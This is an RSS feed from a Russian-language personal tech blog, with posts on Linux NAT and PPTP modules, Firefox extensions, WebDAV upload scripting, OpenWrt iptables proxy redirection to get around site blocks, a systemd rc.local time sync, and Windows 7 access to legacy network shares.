<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Erinome Lane &#187; network</title>
	<atom:link href="https://tt.erinome.net/tag/internet/feed" rel="self" type="application/rss+xml" />
	<link>https://tt.erinome.net</link>
	<description>a bit of this, a bit of that...</description>
	<lastBuildDate>Mon, 23 Mar 2026 12:51:51 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.2.38</generator>
	<item>
		<title>PPTP-клиент за NAT на основе Linux-сервера</title>
		<link>https://tt.erinome.net/2015/10/839</link>
		<comments>https://tt.erinome.net/2015/10/839#comments</comments>
		<pubDate>Thu, 29 Oct 2015 09:49:04 +0000</pubDate>
		<dc:creator><![CDATA[root]]></dc:creator>
				<category><![CDATA[Сеть и интернет]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[грабли]]></category>

		<guid isPermaLink="false">http://tt.erinome.net/?p=839</guid>
		<description><![CDATA[Небольшая локальная сеть на несколько компьютеров получала доступ в интернет через сервер на базе CentOS 6 &#8211; обычным NAT маскарадингом через iptables. Обнаружилось, что в такой конфигурации по умолчанию невозможно поднять VPN-туннель PPTP (протокол &#8211; GRE) с компьютеров, находящихся за &#8230; <a href="https://tt.erinome.net/2015/10/839">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Небольшая локальная сеть на несколько компьютеров получала доступ в интернет через сервер на базе CentOS 6 &#8211; обычным NAT маскарадингом через iptables. Обнаружилось, что в такой конфигурации по умолчанию невозможно поднять VPN-туннель PPTP (протокол &#8211; GRE) с компьютеров, находящихся за таким шлюзом.<span id="more-839"></span></p>
<p>Симптомы: на виндовых машинах подключение к VPN виснет на &#8220;проверке имени пользователя и пароля&#8221;, затем выдается ошибка 619. В логах PPTP-сервера видно, что он не получает отклика от клиента и сбрасывает подключение по таймауту, а в трафике видны только исходящие GRE-пакеты в сторону PPTP-клиента. На NAT-шлюзе в трафике при этом присутствуют и входящие, и исходящие GRE-запросы.</p>
<p>Спустя время было выявлено, что затык именно на стороне клиента, а именно на NAT-шлюзе: для работы PPTP на нем нужно подгрузить следующие модули (для CentOS):</p>
<pre class="console">modprobe ip_nat_pptp
modprobe ip_conntrack_pptp
modprobe ip_gre</pre>
<p>Несмотря на то, что, казалось бы, каких-либо открываний портов, или разрешений протоколов в файрволе, или других настроек на NAT-шлюзе для использования на стоящих за ним компьютерах PPTP-клиента не требуется, все-таки кое-что сделать придется. Так как с настройками по умолчанию (по крайней мере, для CentOS 6) GRE-трафик пропускаться не будет.</p>
]]></content:encoded>
			<wfw:commentRss>https://tt.erinome.net/2015/10/839/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Firefox Brief Extension (Erinome&#160;Edition)</title>
		<link>https://tt.erinome.net/2015/03/799</link>
		<comments>https://tt.erinome.net/2015/03/799#comments</comments>
		<pubDate>Thu, 26 Mar 2015 10:10:04 +0000</pubDate>
		<dc:creator><![CDATA[root]]></dc:creator>
				<category><![CDATA[Софт]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://tt.erinome.net/?p=799</guid>
		<description><![CDATA[Расширение Brief &#8211; одно из наиболее удобных для работы с RSS-лентами в браузере Firefox, лишенном удобного встроенного RSS-ридера. Однако с недавних пор числящаяся последней версия 1.7.3 была помечена как несовместимая с Firefox 36 из-за невозможности корректного добавления новых лент. Отдельного &#8230; <a href="https://tt.erinome.net/2015/03/799">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Расширение <a href="https://addons.mozilla.org/en-us/firefox/addon/brief/" target="_blank">Brief</a> &#8211; одно из наиболее удобных для работы с RSS-лентами в браузере <strong>Firefox</strong>, лишенном удобного встроенного RSS-ридера. Однако с недавних пор числящаяся последней версия 1.7.3 была помечена как несовместимая с <strong>Firefox 36</strong> из-за невозможности корректного добавления новых лент.</p>
<p>Отдельного упоминания заслуживает тот факт, что добавленные ранее ленты обновлялись как положено, а то, что это расширение вдруг стало &#8220;критически&#8221; несовместимо с FF36, стало понятно только после того, как браузер самолично и без предупреждений его заблокировал после очередной синхронизации каталога дополнений. <s>Вы можете называть это как угодно &#8211; а на мой взгляд это беспредел.</s></p>
<p>Итак, на Github можно найти бета-версию Brief 2.0, которая полностью совместима с FF36+, но у нее есть несколько серьезных недостатков в сравнении с классической версией 1.7. Предлагаем вниманию модифицированную версию <strong>Brief 2.0b3e2</strong> (Erinome Edition), в которой часть из найденных недочетов была исправлена, а также в которую были внесены некоторые дополнения, которых не хватало и в версии 1.7.<span id="more-799"></span></p>
<p><strong>ВНИМАНИЕ!<br />
Эта статья была написана в 2015 году, и все описываемое в современных Firefox уже не работает.</strong></p>
<p>Список изменений <strong>Brief 2.0b3e</strong>:</p>
<ul>
<li>В режиме отображения заголовков возвращен показ времени публикации записей;</li>
<li>В режиме отображения заголовков развернутую запись теперь можно свернуть кликом по пустому пространству рядом с ее заголовком, а отдельная гигантская кнопка сворачивания убрана;</li>
<li>Активация опции невключения сообщений из выбранных лент в общее число непрочитанных сообщений более не приводит к тому, что такие сообщения перестают отображаться на закладках &#8220;Все записи&#8221; и &#8220;Сегодняшние записи&#8221;;</li>
<li>Изменен стандартный шаблон: записи теперь растягиваются на всю ширину экрана, а не висят по центру с пустым пространством вокруг;</li>
<li>Нажатие клавиши F5 во вкладке Brief теперь запускает процесс обновления всех лент;</li>
<li>Нажатие клавиши ENTER во вкладке Brief, когда курсор находится в адресной строке или панели поиска, более не приводит к непреднамеренному открытию ссылки из последней выделенной в ленте записи;</li>
<li>Обновлена и дополнена русификация;</li>
<li>Изменены параметры по умолчанию: режим отображения заголовков стал основным режимом, опция считать запись прочитанной по ее разворачиванию теперь по умолчанию включена.</li>
</ul>
<p>Список изменений <strong>Brief 2.0b3e2</strong> (16.03.15):</p>
<ul>
<li>Исправлено удаление записей из закладок.</li>
</ul>
<p>Список изменений <strong>Brief 2.0b3e3</strong> (26.03.15):</p>
<ul>
<li>При просмотре отдельных лент нажатие клавиши F5 приведет к обновлению только просматриваемой ленты.</li>
</ul>
<p>Известные проблемы:</p>
<ul>
<li>Производительность в сравнении с версией 1.7 оставляет желать лучшего.</li>
</ul>
<p>Скачать <a href="http://fs.erinome.net/tools/brief" target="_blank">Brief 2.0b3e</a> (Erinome Edition) можно из нашего архива.</p>
<p>Внимание: т.к. это дополнение является модом дополнения Brief, то во избежание возможных проблем перед его установкой оригинальный Brief должен быть деинсталлирован.</p>
<hr />
<p>This is a modified version of an unreleased Brief 2.0 Beta &#8211; Brief 2.0b3e2 Erinome Edition.</p>
<p>It was made in an attempt to partially restore classical 1.7 look-and-feel in newer Brief 2.0, where a lot of things was changed, as well as implement some additional features missing in 1.7.3. Below is a complete list of changes made to Brief 2.0 as it appeared at Github repositories as of 13.03.2015:</p>
<p>Changelog for <strong>Erinome Brief 2.0b3e</strong>:</p>
<ul>
<li>Item datetime is shown again in &#8220;View headlines&#8221; mode;</li>
<li>Item can be collapsed in &#8220;View headlines&#8221; mode by clicking on empty space below its header while huge ugly &#8220;collapse button&#8221; was removed;</li>
<li>Activating &#8220;Don&#8217;t include this feed&#8217;s items in overall unread count&#8221; option doesn&#8217;t result in items from such feed filtering out of &#8220;All Items&#8221; and &#8220;Today Items&#8221; views;</li>
<li>Default template changed: items are now full screen wide which much better fits current widescreen displays;</li>
<li>Pressing F5 in Brief tab now results in &#8220;Update All Feeds&#8221; action;</li>
<li>Pressing ENTER in Brief tab when writing a text into address bar or search bar no longer results in last item&#8217;s URL being opened along the default action;</li>
<li>Updated Russian translation (probably useless for English-speaking visitors but anyway);</li>
<li>Default preferences changed: &#8220;View headlines&#8221; is now the default view mode, option &#8220;Automatically mark item as read after I see it&#8221; is now checked by default.</li>
</ul>
<p>Changelog for <strong>Erinome Brief 2.0b3e2</strong> (16.03.15):</p>
<ul>
<li>Fixed unbookmarking an item.</li>
</ul>
<p>Changelog for <strong>Erinome Brief 2.0b3e3</strong> (26.03.15):</p>
<ul>
<li>Pressing F5 while viewing a single Feed now results in refreshing that Feed only.</li>
</ul>
<p>Brief (Erinome Edition) is available to download from <a href="http://fs.erinome.net/tools/brief" target="_blank">our fileserver</a>.</p>
<p>Attention: Please note that as this extension is a modified version of original Brief extension, you MUST uninstall original Brief from Firefox prior to installing this modified one. Who knows what might happen if you don&#8217;t do that?.. Boo!</p>
<p>There&#8217;re also some known issues in Brief 2.0 Beta: <s>un-bookmarking an item doesn&#8217;t work on the first try (try twice or thrice)</s> (fixed in 2.0b3e2), and the overall performance seems worse than it used to be in 1.7. If these issues will be fixed upstream, I&#8217;ll try to backport any fixes to the modified Brief version as well.</p>
]]></content:encoded>
			<wfw:commentRss>https://tt.erinome.net/2015/03/799/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox GTWA Extension</title>
		<link>https://tt.erinome.net/2015/03/789</link>
		<comments>https://tt.erinome.net/2015/03/789#comments</comments>
		<pubDate>Fri, 06 Mar 2015 13:37:33 +0000</pubDate>
		<dc:creator><![CDATA[root]]></dc:creator>
				<category><![CDATA[Софт]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://tt.erinome.net/?p=789</guid>
		<description><![CDATA[При мигрировании с браузера Opera 12 на линейку Firefox можно столкнуться с некоторыми отличиями в фунциональности и поведении браузера, которые стандартными средствами и известными расширениями вернуть к привычному виду не удается. Предлагаю вниманию небольшое самописное расширение GTWA &#8211; &#8220;Go&#160;To&#160;Web&#160;Address&#8221; v1.0.5. &#8230; <a href="https://tt.erinome.net/2015/03/789">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>При мигрировании с браузера <strong>Opera 12</strong> на линейку <strong>Firefox</strong> можно столкнуться с некоторыми отличиями в фунциональности и поведении браузера, которые стандартными средствами и известными расширениями вернуть к привычному виду не удается. Предлагаю вниманию небольшое самописное расширение <strong>GTWA</strong> &#8211; &#8220;<em>Go&nbsp;To&nbsp;Web&nbsp;Address</em>&#8221; v1.0.5. Это расширение для <strong>Firefox</strong> позволяет <em>переходить по текстовым ссылкам</em>, не оформленным активными гиперссылками, добавляет настраиваемые модификаторы <em>при Ctrl+кликах и Shift+кликах по ссылкам</em>, а также позволяет <em>сделать панель поиска независимой для каждой вкладки</em>.<span id="more-789"></span></p>
<p><strong>ВНИМАНИЕ!<br />
Эта статья была написана в 2015 году, и в современных Firefox все описываемое уже не работает.</strong></p>
<p>Функциональность:</p>
<ul>
<li>Дополнение контекстного меню страницы
<ul>
<li>Опция &#8220;Перейти по ссылке&#8221;<br />
Позволяет браузеру обработать выделенный текст как веб-адрес и попытаться перейти по нему. Например, если на странице имеется фрагмент ссылки без http:// или www, который не оформлен как гиперссылка, то для перехода по нему нужно просто выделить этот адрес и нажать на &#8220;Перейти по ссылке&#8221; в контекстном меню. Если выделенный текст совершенно не похож на ссылку &#8211; то будет открыта страница поиска данного фрагмента в текущем интернет-поисковике. Копирует функциональность Opera 12.</li>
<li>Дополнительное меню поиска<br />
Позволяет искать выделенный текст в текущем интернет-поисковике, а также выбирать другие установленные в браузере поисковики. При этом выбранный поисковик будет запомнен для данной вкладки и в следующий раз в контекстном меню поиска по умолчанию будет предложен он. Также копирует функциональность Opera 12.</li>
</ul>
<p>Это контекстное меню отображается только на выделенном фрагменте текста.</li>
<li>Каждой вкладке &#8211; своя панель поиска<br />
По умолчанию панель поиска не зависит от текущей вкладки и является общей для всего браузера. Данное расширение позволяет запоминать отдельные параметры панели поиска для каждой вкладки. Например, набрав в панель поиска слово &#8220;тест&#8221; в одной вкладке, вы можете переключиться на другую вкладку и набрать в ней в панель поиска слово &#8220;проверка&#8221;. Вернувшись обратно на первую вкладку &#8211; вы увидите, что содержимое панели поиска заменилось обратно на слово &#8220;тест&#8221;.<br />
Более того, для каждой вкладки запоминается последний использовавшийся интернет-поисковик и при переходе между вкладками переключаются и они. Так, если в одной вкладке вы запрашивали через панель поиска информацию в Google, а в другой &#8211; выбирали для поиска Яндекс, то при переключении между вкладками в одной из них для поиска останется выбран Google, а в другой &#8211; будет выбран Яндекс.<br />
&nbsp;</li>
<li>Настраиваемое поведение браузера при кликах по ссылкам с зажатыми клавишами-модификаторами Ctrl и Shift<br />
Настройки по умолчанию:
<ul>
<li>Клик &#8211; открыть ссылку в текущей вкладке;</li>
<li>Shift+клик &#8211; открыть ссылку в новой вкладке;</li>
<li>Ctrl+клик &#8211; открыть ссылку в новой фоновой вкладке.</li>
</ul>
<p>Эти модификаторы работают и на ссылках, и на кнопках, и при отправке заполненных форм, и даже при заполнении поисковых запросов в панели поиска.</li>
</ul>
<p>Начиная с версии 1.0.5 расширение GTWA также в полной мере поддерживает обновленную в Firefox 34 панель поиска. <s>Причем старый вид панели, скорее всего, больше корректно работать не будет.</s> Теперь при нажатии на иконки других поисковых систем &#8211; они будут выбраны в качестве текущего поисковика. Например, если у вас установлен по умолчанию поисковик от Яндекса, а вы набрали поисковый запрос и кликнули на иконку Google в панели поиска &#8211; то поисковик от Google станет основным для данной вкладки, и в дальнейшем запросы поиска из этой вкладки по умолчанию будут направлены в Google.</p>
<p><strong>Скачать расширение <a href="http://fs.erinome.net/tools/gtwa" target="_blank">GTWA v1.0.5a</a> можно из нашего архива.</strong></p>
<p><span style="font-size: x-small">Обратите внимание, что из-за особенностей реализации новой панели поиска в Firefox 34, где понятия &#8220;текущий поисковик&#8221; и &#8220;поисковик по умолчанию&#8221; просто приравняли (!!) друг к другу, действительный &#8220;поисковик по умолчанию&#8221; теперь хранится в настройках расширения, а не настройках браузера, и обновляется при изменении &#8220;поисковика по умолчанию&#8221; в стандартном меню настроек браузера. При этом данное меню, вообще говоря, отображает текущий поисковик для текущей вкладки, и поэтому увидеть в нем тот поисковик, который в данный момент выбран как настоящий поисковик по умолчанию &#8211; невозможно. Но он запоминается расширением. За такие неудобства можно благодарить разработчиков Firefox.</span></p>
<p><span style="font-size: x-small">Также обратите внимание, что GTWA делалось человеком, который не является профессионалом в создании расширений для Firefox, и который за свою жизнь создал только одно это расширение, и создавалось оно для личных целей, а не широкого использования. По этой причине в нем могут быть некоторые недостатки, но при должной удаче и благоприятном расположении звезд они могут быть устранены в случае обнаружения таковых.</span></p>
]]></content:encoded>
			<wfw:commentRss>https://tt.erinome.net/2015/03/789/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Автоматизация загрузки файлов на WebDav</title>
		<link>https://tt.erinome.net/2014/04/668</link>
		<comments>https://tt.erinome.net/2014/04/668#comments</comments>
		<pubDate>Wed, 23 Apr 2014 11:59:37 +0000</pubDate>
		<dc:creator><![CDATA[root]]></dc:creator>
				<category><![CDATA[Сеть и интернет]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[webdav]]></category>

		<guid isPermaLink="false">http://tt.erinome.net/?p=668</guid>
		<description><![CDATA[Ранее на страницах этого сайта рассматривалась возможность монтирования облачных WebDav-хранилищ при помощи fuse-системы davfs2. Одним из ее недостатков был тот факт, что при любых операциях над файлами они неминуемо копировались сначала во временную директорию, а лишь затем перемещались в целевой &#8230; <a href="https://tt.erinome.net/2014/04/668">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ранее на страницах этого сайта рассматривалась возможность монтирования облачных WebDav-хранилищ при помощи fuse-системы <a href="http://tt.erinome.net/2012/11/360">davfs2</a>. Одним из ее недостатков был тот факт, что при любых операциях над файлами они неминуемо копировались сначала во временную директорию, а лишь затем перемещались в целевой каталог.</p>
<p>Альтернативой davfs2 для прямого получения или загрузки файлов в облачное хранилище является утилита <a href="http://tt.erinome.net/2012/11/375">cadaver</a>. Однако, она предполагает интерактивное взаимодействие с пользователем, и использование ее в автоматизированных скриптах не представляется возможным. Обойти эту проблему можно при помощи утилиты <a href="http://tt.erinome.net/2014/04/660">empty</a>, аналога <em>expect</em> для создания и взаимодействия с псевдотерминалами.<span id="more-668"></span></p>
<p>Для реализации полностью автоматической загрузки и скачивания файлов с облачного хранилища был создан скрипт <a href="http://fs.erinome.net/openwrt/scripts/webdav.sh" target="_blank">webdav.sh</a>.</p>
<p>Перед использованием необходимо настроить несколько параметров, определенных в начале скрипта:<br />
<small>
<ul>
<li><em>ififo=/tmp/empty.in.fifo</em><br />
&#8211; путь к fifo ввода, на роутерах желательно размещать в /tmp</li>
<li><em>ofifo=/tmp/empty.out.fifo</em><br />
&#8211; путь к fifo вывода, на роутерах желательно размещать в /tmp</li>
<li><em>cmd=&#8221;cadaver https://webdav.yandex.ru&#8221;</em><br />
&#8211; путь к утилите cadaver и адрес WebDav-сервиса</li>
<li><em>username=YourUserName</em><br />
&#8211; логин от WebDav-сервиса</li>
<li><em>password=YourPassword</em><br />
&#8211; пароль от WebDav-сервиса</li>
</ul>
<p></small></p>
<p>Доступные команды:<br />
<small>
<ul>
<li><strong>webdav.sh put <локальный файл> [удаленный путь]</strong> &#8211; загрузка файла в облако<br />
&#8211; <em>Локальный файл</em> &#8211; обязательный параметр, должен быть указан один, файл должен быть доступен для чтения;<br />
&#8211; <em>Удаленный путь</em> &#8211; опционально, если его не указать, то файл будет загружен в корневой каталог WebDav.</li>
<li><strong>webdav.sh get <удаленный файл> [локальный путь]</strong> &#8211; выгрузка файла из облака<br />
&#8211; <em>Удаленный файл</em> &#8211; обязательный параметр, должен быть указан один, файл должен существовать;<br />
&#8211; <em>Локальный путь</em> &#8211; опционально, если его не указать, то файл будет загружены в текущий каталог.</li>
<li><strong>webdav.sh mput <локальные файлы> [удаленный путь]</strong> &#8211; множественная загрузка<br />
&#8211; <em>Локальные файлы</em> &#8211; маска вида &#8220;/path/to/*.files&#8221;, указание кавычек <em>обязательно</em>;<br />
&#8211; <em>Удаленный путь</em> &#8211; опционально, если его не указать, то файлы будут загружены в корневой каталог WebDav.</li>
<li><strong>webdav.sh mget <удаленные файлы> [локальный путь]</strong> &#8211; множественная выгрузка<br />
&#8211; <em>Удаленные файлы</em> &#8211; маска вида &#8220;/remote/path/*&#8221;;<br />
&#8211; <em>Локальный путь</em> &#8211; опционально, если его не указать, то файлы будут загружены в текущий каталог.</li>
</ul>
<p></small></p>
<p>Например, для загрузки файла &#8220;/etc/config/firewall&#8221; в удаленный каталог &#8220;/openwrt&#8221; необходимо набрать команду <em>webdav.sh put /etc/config/firewall /openwrt/firewall</em>. Отметим, что удаленный каталог &#8220;openwrt&#8221; перед выполнением этой команды должен существовать.</p>
<p>PS: Стоит обратить внимание, что утилита <em>empty</em> имеет такую особенность, что если указанные в конфигурации fifo-файлы уже существуют на момент ее запуска, то она просто не запустится, тихо ругнувшись в syslog. А в случае каких-либо сбоев в ходе работы с empty эти fifo-файлы могут автоматически не удалиться.</p>
]]></content:encoded>
			<wfw:commentRss>https://tt.erinome.net/2014/04/668/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Обход блокировки сайтов с OpenWrt</title>
		<link>https://tt.erinome.net/2013/08/606</link>
		<comments>https://tt.erinome.net/2013/08/606#comments</comments>
		<pubDate>Fri, 30 Aug 2013 11:48:56 +0000</pubDate>
		<dc:creator><![CDATA[root]]></dc:creator>
				<category><![CDATA[Сеть и интернет]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[грабли]]></category>

		<guid isPermaLink="false">http://tt.erinome.net/?p=606</guid>
		<description><![CDATA[На просторах сети изложено немало способов, как можно обходить запрет доступа к интернет-ресурсам, попавшим под раздачу известного закона о бесконтрольных блокировках, прославившегося своей идиотичностью и тем, что малосознательные работники Роскомнадзора даже в нынешней его редакции не в состоянии выполнять его &#8230; <a href="https://tt.erinome.net/2013/08/606">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>На просторах сети изложено немало способов, как можно обходить запрет доступа к интернет-ресурсам, попавшим под раздачу известного закона о бесконтрольных блокировках, прославившегося своей идиотичностью и тем, что малосознательные работники Роскомнадзора даже в нынешней его редакции <a href="http://habrahabr.ru/post/191456/" target="_blank">не в состоянии</a> выполнять его условия без безмерных злоупотреблений со своей стороны.</p>
<p>Итак, рассмотрим еще один вариант, не требующий никакого дополнительного софта, помимо роутера с OpenWrt.<span id="more-606"></span> Одним из очевидных способов обхода блокировки с минимальным использованием сторонних средств является следующая система:</p>
<p>1. Перестаем использовать провайдерские DNS и переходим на свободные (напр., от Google: 8.8.8.8, 8.8.4.4);<br />
2. Устанавливаем на роутере прокси-сервер (напр., tinyproxy);<br />
3. Заворачиваем при помощи iptables все запросы к заблокированным ресурсам на прокси, выделяя такие запросы по целевому IP-адресу;<br />
4. Задаем в конфиге прокси любой заграничный апстрим-прокси, на котором отсутствует блокировка.</p>
<p>Плюсы:<br />
+ На прокси заворачиваются только обращения к заблокированным ресурсам, все остальные работают как раньше;<br />
+ Не нужно вообще ничего настраивать на всех подключаемых к роутеру устройствах;<br />
+ Мы лично всё контролируем. :)</p>
<p>Минусы:<br />
&#8211; Неудобство по ручному составлению списка блокированных ресурсов;<br />
&#8211; Неудобство поиска живых и достаточно быстрых апстрим-прокси;<br />
&#8211; Необходимость установки лишнего софта на роутер и потенциально его частая перенастройка.</p>
<p>Для многих минусы значительно перевесят все возможные плюсы. Тем не менее рассмотрим, как реализовать изложенное и, кроме того, обойтись без установки собственного прокси на роутере.</p>
<p>Идея в том, что раз мы поднимаем у себя на роутере transparent-прокси и прозрачно заворачиваем на него часть трафика, чтобы затем переправить его на другой прокси в интернете, то можно задаться вопросом: а, собственно, зачем нам создавать каскад из прокси, если можно сразу найти внешние прокси-сервера, поддерживающие transparent-режим? Все, что потребуется &#8211; это отыскать таковой и сразу завернуть нужный трафик туда, без локального прокси-сервера.</p>
<p>Для того, чтобы немного автоматизировать настройку и добавить минимальных удобств, напишем скрипт:</p>
<pre class="console">#!/bin/ash
###
# Erinome proxyPass v.1
###

proxy="1.1.1.1:23456"
bhosts="188.190.124.85/32 185.10.208.40/32"

enableProxy()
{
	cleanRules
	for bhost in $bhosts
	do
		cmd="iptables -A prerouting_lan_rule -t nat -p tcp -d ${bhost} --dport 80 -m comment --comment "ErinomePP" -j DNAT --to-destination ${proxy}"
		echo $cmd; $cmd
	done
}

disableProxy()
{
	cleanRules
}

cleanRules()
{
	iptables -S prerouting_lan_rule -t nat | grep "comment ErinomePP" | while read iptfind
	do
		cmd="iptables -t nat -D `echo $iptfind | cut -d' ' -f2-`"
		echo $cmd; $cmd
	done
}


case "$1" in
	ena*)
		enableProxy
		;;
	dis*)
		disableProxy
		;;
	*)
		echo 'not recognized'
		;;
esac</pre>
<p>В переменной &#8220;bhosts&#8221; должны быть перечислены заблокированные хосты, в переменной &#8220;proxy&#8221; &#8211; указан адрес и порт анонимного прокси-сервера с поддержкой transparent-режима. При внесении каких-либо изменений в список заблокированных хостов или при необходимости сменить адрес прокси, всё, что требуется сделать &#8211; это обновить данные в скрипте и набрать в консоли &#8220;./proxyPass.sh enable&#8221;. Старые правила iptables будут вычищены автоматически и заменены новыми.</p>
<p>PS: При использовании типа подключения DHCP необходимо указать опцию &#8220;option peerdns &#8216;0&#8217;&#8221; в <strong>/etc/config/network</strong>, чтобы провайдерские DNS-серверы, получаемые с DHCP, полностью игнорировались.</p>
<p>PPS: Также может возникнуть вопрос о том, как завернуть в прозрачный прокси тот трафик, который не проходит через роутер транзитом, а генерируется софтом непосредственно на роутере. Правила рассмотренные для PREROUTING для этих целей не подходят, а нужно добавить правила для OUTPUT:</p>
<pre class="console">iptables -t nat -A OUTPUT -d &lt;dest IP&gt;/32 -p tcp -m tcp --dport 80 -m comment --comment ErinomePP -j DNAT --to-destination &lt;proxy IP&gt;:&lt;proxy port&gt;</pre>
<p>В терминологии OpenWrt, вероятно, вместо &#8220;-А OUTPUT&#8221; следует указать более корректный блок правил, определяющий именно OUTPUT зоны WAN&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>https://tt.erinome.net/2013/08/606/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Archlinux, ntpd и VMware Player</title>
		<link>https://tt.erinome.net/2013/06/554</link>
		<comments>https://tt.erinome.net/2013/06/554#comments</comments>
		<pubDate>Thu, 27 Jun 2013 08:47:23 +0000</pubDate>
		<dc:creator><![CDATA[root]]></dc:creator>
				<category><![CDATA[Сеть и интернет]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[грабли]]></category>

		<guid isPermaLink="false">http://tt.erinome.net/?p=554</guid>
		<description><![CDATA[Одно время мне никак не удавалось заставить работающую внутри VMware систему типа Arch заставить показывать корректное время сразу после загрузки. В системе был указан корректный московский часовой пояс и был запущен и настроен ntpd. Вот только, по всей видимости, VMware &#8230; <a href="https://tt.erinome.net/2013/06/554">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Одно время мне никак не удавалось заставить работающую внутри <strong>VMware</strong> систему типа <strong>Arch</strong> заставить показывать корректное время сразу после загрузки. В системе был указан корректный московский часовой пояс и был запущен и настроен <strong>ntpd</strong>. Вот только, по всей видимости, VMware подставляет виртуальной машине системное время под видом UTC, и в итоге после запуска мы получаем в виртуалке время, сдвинутое на +4 часа. А ntpd не торопился его выправлять, в итоге получить точное время можно было лишь спустя 5-10 минут после запуска системы.<span id="more-554"></span></p>
<p>Проблему можно было бы разрешить путем задания в Archlinux&#8217;е пояса UTC, и таким образом заставить систему никуда не сдвигать время относительно выставляемого VMware. Но так как это было бы слишком просто, пойдем другим путем, и попутно научимся создавать скрипт <strong>rc.local</strong> в системе с непонятным и неудобным <strong>systemd</strong>.</p>
<p>Создаем описание нового сервиса rc.local, для этого пишем файл <em>/etc/systemd/system/rc-local.service</em>:</p>
<pre class="console">[Unit]
Description=/etc/rc.local Compatibility
ConditionPathExists=/etc/rc.local

[Service]
Type=forking
ExecStart=/etc/rc.local start
TimeoutSec=0
StandardOutput=tty
RemainAfterExit=yes
SysVStartPriority=99

[Install]
WantedBy=multi-user.target</pre>
<p>Активируем его:</p>
<pre class="console">[root@arch] # systemctl enable rc-local.service</pre>
<p>Создаем файл /etc/rc.local и добавляем в него команду синхронизации времени:</p>
<pre class="console">#!/bin/bash
sleep 10
ntpdate -u ntp1.vniiftri.ru</pre>
<p>Команда sleep организует искусственную задержку, без которой мне не удалось заставить это работать.<br />
Возможно, не успевала прогрузиться сеть.</p>
<p>Делаем скрипт запускаемым:</p>
<pre class="console">[root@arch] # chmod +x /etc/rc.local</pre>
<p>Перезапускаем виртуалку, и через 10 секунд после старта получаем корректное системное время.</p>
<p>PS: Да, я допускаю, что должна быть какая-то возможность настроить VMware так, чтобы оно выдавало в виртуалки реальное UTC-время, а не выдавало системное время MSK хост-машины за UTC, тем самым вводя виртуальные машины в заблуждение.</p>
]]></content:encoded>
			<wfw:commentRss>https://tt.erinome.net/2013/06/554/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows 7 и сетевые папки Win2k, WinXP, Win2003</title>
		<link>https://tt.erinome.net/2013/05/549</link>
		<comments>https://tt.erinome.net/2013/05/549#comments</comments>
		<pubDate>Mon, 20 May 2013 07:56:38 +0000</pubDate>
		<dc:creator><![CDATA[root]]></dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://tt.erinome.net/?p=549</guid>
		<description><![CDATA[При настройке Windows 7 можно обнаружить полное нежелание системы подключаться к расшаренным папкам в старых операционных системах от Microsoft &#8211; это и Windows 2000, и Windows 2003, и Windows XP. Графический интерфейс при указании любых корректных данных просто продолжает перезапрашивать &#8230; <a href="https://tt.erinome.net/2013/05/549">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>При настройке <strong>Windows 7</strong> можно обнаружить полное нежелание системы подключаться к расшаренным папкам в старых операционных системах от Microsoft &#8211; это и Windows 2000, и Windows 2003, и Windows XP. Графический интерфейс при указании любых корректных данных просто продолжает перезапрашивать логин-пароль, а при использовании команды <strong>net use</strong> в командной строке можно увидеть волшебный отклик:</p>
<pre class="console">Системная ошибка 86 
Сетевой пароль указан неверно</pre>
<p>И это при совершенно верном указании реквизитов.<span id="more-549"></span></p>
<p>Дело в разрешенных к использованию алгоритмах аутентификации. Windows 7 (вероятно, также и более новые системы включая Windows 8) предъявляют иные требования к проверке подлинности, вследствие чего попросту не работают со старыми системами.</p>
<p>Для исправления ситуации необходимо отредактировать локальные политики системы. Для этого открываем &#8220;Пуск&#8221; -> &#8220;Выполнить&#8230;&#8221; (либо, короче, Win+R) и набираем <strong>gpedit.msc</strong>.</p>
